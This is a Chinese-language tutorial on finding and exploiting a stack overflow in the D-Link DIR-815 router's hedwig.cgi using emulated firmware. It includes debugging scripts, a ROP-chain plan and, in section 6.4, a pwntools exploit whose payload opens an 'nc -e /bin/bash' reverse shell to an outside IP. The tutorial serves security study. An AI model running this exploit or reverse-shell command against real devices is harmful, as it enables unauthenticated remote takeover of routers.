IOT安全快速入门_D-LINK DIR-815漏洞硬核图解过程
字数 2000 2025-08-22 12:23:00
D-LINK DIR-815路由器漏洞分析与利用教程
1. 漏洞概述
D-LINK DIR-815路由器存在一个缓冲区溢出漏洞,影响"hedwig.cgi" CGI脚本。该漏洞允许未经认证的远程攻击者通过传递超长的Cookie值,导致程序栈溢出,从而可能获得路由器的远程控制权限。
漏洞公告要点:
- 漏洞组件:hedwig.cgi(实际是cgibin的符号链接)
- 触发方式:通过HTTP_COOKIE字段传递超长uid值
- 漏洞类型:栈缓冲区溢出
- 影响:可能导致远程代码执行
2. 环境准备
2.1 所需工具和资源
-
固件下载:
- ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
-
调试工具:
- gdbserver各架构对应调试文件:https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
- IDA Pro 6.8/7.5(用于静态分析和调试)
- Ghidra(用于MIPS架构反汇编和反编译)
-
仿真环境:
- qemu-mips仿真相关内核和虚拟硬盘:https://people.debian.org/~aurel32/qemu/
2.2 固件提取
使用binwalk提取固件:
binwalk -Me DIR-815_FIRMWARE_1.01.ZIP
查找关键文件:
find . -name '*cgi'
ls -l ./htdocs/web/hedwig.cgi
3. 漏洞分析
3.1 静态分析
- 使用IDA打开cgibin文件
- 搜索字符串"HTTP_COOK"并通过交叉引用定位到hedwigcgi_main函数
- 分析hedwigcgi_main函数流程:
- 通过sess_get_uid()获取HTTP_COOKIE中uid=之后的值
- 使用sprintf函数将内容拷贝到栈中
- 未对输入大小进行限制,导致栈溢出
关键点:
- 实际有两个sprintf函数调用,第二个才是真实环境利用的位置
- 第一个sprintf在仿真环境中可能因缺少文件导致利用失败
3.2 动态分析
3.2.1 QEMU用户模式调试
- 准备动态链接库:
mkdir -p ./usr/lib/
mkdir -p ./lib/x86_64-linux-gnu/
mkdir -p ./lib64/
cp -p /usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0 ./usr/lib/
cp -p /lib/x86_64-linux-gnu/libglib-2.0.so.0 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/librt.so.1 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libm.so.6 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libgcc_s.so.1 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpthread.so.0 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libc.so.6 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libdl.so.2 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpcre.so.3 ./lib/x86_64-linux-gnu/
cp -p /lib64/ld-linux-x86-64.so.2 ./lib64/
- 调试脚本示例(test.sh):
#!/bin/bash
test=$(python -c "print 'uid='+open('content','r').read(2000)")
LEN=$(echo -n "$test" | wc -c)
PORT="1234"
cp $(which qemu-mipsel) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E REQUEST_METHOD="POST" \
-E HTTP_COOKIE=$test \
-E REQUEST_URL="/hedwig.cgi" \
-E REMOTE_ADDR="127.0.0.1" \
-g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu
- 使用patternLocOffset.py生成定位字符串:
python patternLocOffset.py -c -l 2000 -f content
3.2.2 确定偏移量
- 自动确定:
python patternLocOffset.py -s 0x38694237 -l 2000
- 手动确定:
- 找到栈上缓冲区起始位置
- 找到保存$RA的位置
- 计算两者偏移
注意点:
- 注意大小端问题
- 第二个sprintf函数才是真实环境利用的位置
4. ROP链构造
4.1 攻击目标
通过调用system('/bin/sh')获取shell权限。
4.2 关键步骤
- 在libc.so中定位system函数地址
- 将'/bin/sh'字符串放入栈中
- 使用gadget将栈上的'/bin/sh'传入a0寄存器
- 调用system函数
4.3 注意事项
-
cache incoherency问题:
- MIPS CPU有指令cache和数据cache
- 需要调用堵塞函数(如sleep(1))确保数据写入内存
-
坏字符:
- 可能的坏字符:0x20(空格)、0x00(结束符)、0x3a(冒号)、0x3f(问号)、0x3b(分号)、0x0a(换行符)等
5. QEMU系统模式仿真
5.1 环境配置
- 启动qemu系统:
sudo qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic -net tap -nographic
注意:确保内核和虚拟硬盘文件来自同一目录且大小端序匹配。
5.2 网络配置
参考家用路由器研究详解入门中的网络配置方法,确保两台主机互通。
5.3 文件系统准备
- 将提取的文件系统拷贝到mipsel虚拟机:
sudo scp -r squashfs-root root@192.168.x.x:/root/
- 配置启动http服务(copy.sh):
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf
5.4 测试访问
- 浏览器访问:
http://192.168.x.x:1234/hedwig.cgi
- 或使用curl:
curl http://192.168.x.x:1234/hedwig.cgi -v -X POST \
-H "Content-Length: 8" -b "uid=zh"
6. 漏洞利用
6.1 调试设置
- 设置环境变量:
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"
- 关闭地址随机化:
echo 0 > /proc/sys/kernel/randomize_va_space
6.2 调试脚本(debug.sh)
#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="`cat content`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|./gdbserver.mipsel 192.168.x.x:9999 /htdocs/web/hedwig.cgi
6.3 确定libc基地址
/htdocs/web/hedwig.cgi & cat /proc/pid/maps
6.4 EXP示例
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.79.145 9999'
padding = 'A' * 973 # 1009-4*9
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += 'A' * 4 # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()
7. 常见问题与解决方案
-
QEMU仿真问题:
- 确保内核和虚拟硬盘文件匹配
- 注意大小端序选择正确的qemu版本
-
调试数据不一致:
- 确保对指定内容同步观察
- 注意IDA对内存读写的保护机制可能导致数据显示不全
-
环境变量设置:
- 变量名和值之间不能有空格
- 确保设置了所有必要的环境变量
-
浏览器访问问题:
- 默认可能是https访问,需手动改为http
-
动态链接库问题:
- 确保所有需要的库文件都已复制到正确位置
- 注意库文件的权限和符号链接
8. 总结
本教程详细介绍了D-LINK DIR-815路由器漏洞的分析与利用过程,包括:
- 环境搭建与固件提取
- 静态分析与动态调试
- 漏洞定位与偏移确定
- ROP链构造与利用
- QEMU系统模式仿真
- 实际漏洞利用示例
关键点:
- 注意真实环境中第二个sprintf才是可利用点
- 处理好cache incoherency问题
- 注意坏字符的影响
- 确保仿真环境配置正确
通过本教程,读者可以学习到路由器漏洞分析的基本流程和方法,为后续的IoT安全研究打下基础。